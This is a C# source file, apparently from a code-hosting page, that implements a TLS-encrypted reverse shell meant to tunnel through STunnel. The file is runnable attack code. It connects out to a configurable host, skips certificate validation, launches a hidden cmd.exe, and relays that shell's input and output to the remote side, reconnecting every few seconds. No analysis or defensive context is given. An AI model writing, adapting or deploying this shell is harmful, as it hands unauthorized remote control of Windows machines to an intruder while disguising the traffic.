-
Notifications
You must be signed in to change notification settings - Fork 0
/
STunnel_RevShell.cs
215 lines (172 loc) · 6.94 KB
/
STunnel_RevShell.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
//compile the file
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe STunnel_RevShell.cs
using System;
using System.Text;
using System.Net.Sockets;
using System.IO; //for Streams
using System.Diagnostics; //for Process
using System.Reflection;
using System.Threading;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
using System.Net.Security;
using System.Security.Authentication;
namespace ReverseShell2_SSL
{
class Program
{
[DllImport("user32.dll")]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static void Main(string[] args)
{
Console.WriteLine(@"
_____ _____ _ ______ _ _ _ _
/ ___|_ _| | | | ___ \ | || | | | |
\ `--. | |_ _ _ __ _ __ ___| | | |_/ /_____ __/ __) |__ ___| | |
`--. \ | | | | | '_ \| '_ \ / _ \ | | // _ \ \ / /\__ \ '_ \ / _ \ | |
/\__/ / | | |_| | | | | | | | __/ | | |\ \ __/\ V / ( / | | | __/ | |
\____/ \_/\__,_|_| |_|_| |_|\___|_| \_| \_\___| \_/ |_||_| |_|\___|_|_|
ver 1.0 Coded by GuerraIT
ver 1.1 Modified by Zinzloun (support TLS 1.3)
");
//CONFIG THIS: point to the Stunell server
string IP = "192.168.1.2";
int PORT = 9999;
Console.WriteLine("Using the following connection " + IP + ":" + PORT);
//spawn the reverse shell
ReverseShell_SSL rsss = new ReverseShell_SSL(IP, PORT);
}
}
class ReverseShell_SSL
{
TcpClient tcpClient;
//NetworkStream networkStream;
SslStream sslStream;
StreamWriter streamWriter;
StreamReader streamReader;
Process processCmd;
StringBuilder strInput;
public ReverseShell_SSL(string RHost, Int32 Port)
{
for (; ; )
{
RunServer(RHost, Port);
Thread.Sleep(3000); //Wait 3 seconds and retry
}
}
private void RunServer(string rhost, Int32 port)
{
tcpClient = new TcpClient();
strInput = new StringBuilder();
if (!tcpClient.Connected)
{
try
{
tcpClient.Connect(rhost, port);
// Create an SSL stream that will close the client's stream.
sslStream = new SslStream(
tcpClient.GetStream(),
false,
new RemoteCertificateValidationCallback(ValidateServerCertificate),
null
);
// Since we are not validating the certificate, we can pass as CN whatever we like (here host.local).
// Otherwise the value must match the CN of STunnel's certificate
sslStream.AuthenticateAsClient("host.local",
new X509CertificateCollection(),
SslProtocols.Tls13,
false);
DisplayCertificateInformation(sslStream);
//networkStream = tcpClient.GetStream();
streamReader = new StreamReader(sslStream);
streamWriter = new StreamWriter(sslStream);
}
catch (Exception) { return; } //if no Client don't continue
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\n");
if (strInput.ToString().LastIndexOf("terminate") >= 0) StopServer();
if (strInput.ToString().LastIndexOf("exit") >= 0) throw new ArgumentException();
processCmd.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
catch (Exception)
{
Cleanup();
break;
}
}
}
private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception) { };
streamReader.Close();
streamWriter.Close();
//networkStream.Close();
sslStream.Close();
}
private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception) { }
}
}
// The following method is invoked by the RemoteCertificateValidationDelegate.
public static bool ValidateServerCertificate(
object sender,
X509Certificate certificate,
X509Chain chain,
SslPolicyErrors sslPolicyErrors)
{
// validate all the certificate
return true;
}
static void DisplayCertificateInformation(SslStream stream)
{
Console.WriteLine("Certificate revocation list checked: {0}", stream.CheckCertRevocationStatus);
// Display the properties of the client's certificate.
X509Certificate remoteCertificate = stream.RemoteCertificate;
if (stream.RemoteCertificate != null)
{
Console.WriteLine("Remote cert was issued to {0} and is valid from {1} until {2}.",
remoteCertificate.Subject,
remoteCertificate.GetEffectiveDateString(),
remoteCertificate.GetExpirationDateString());
}
else
{
Console.WriteLine("Remote certificate is null.");
}
}
}
}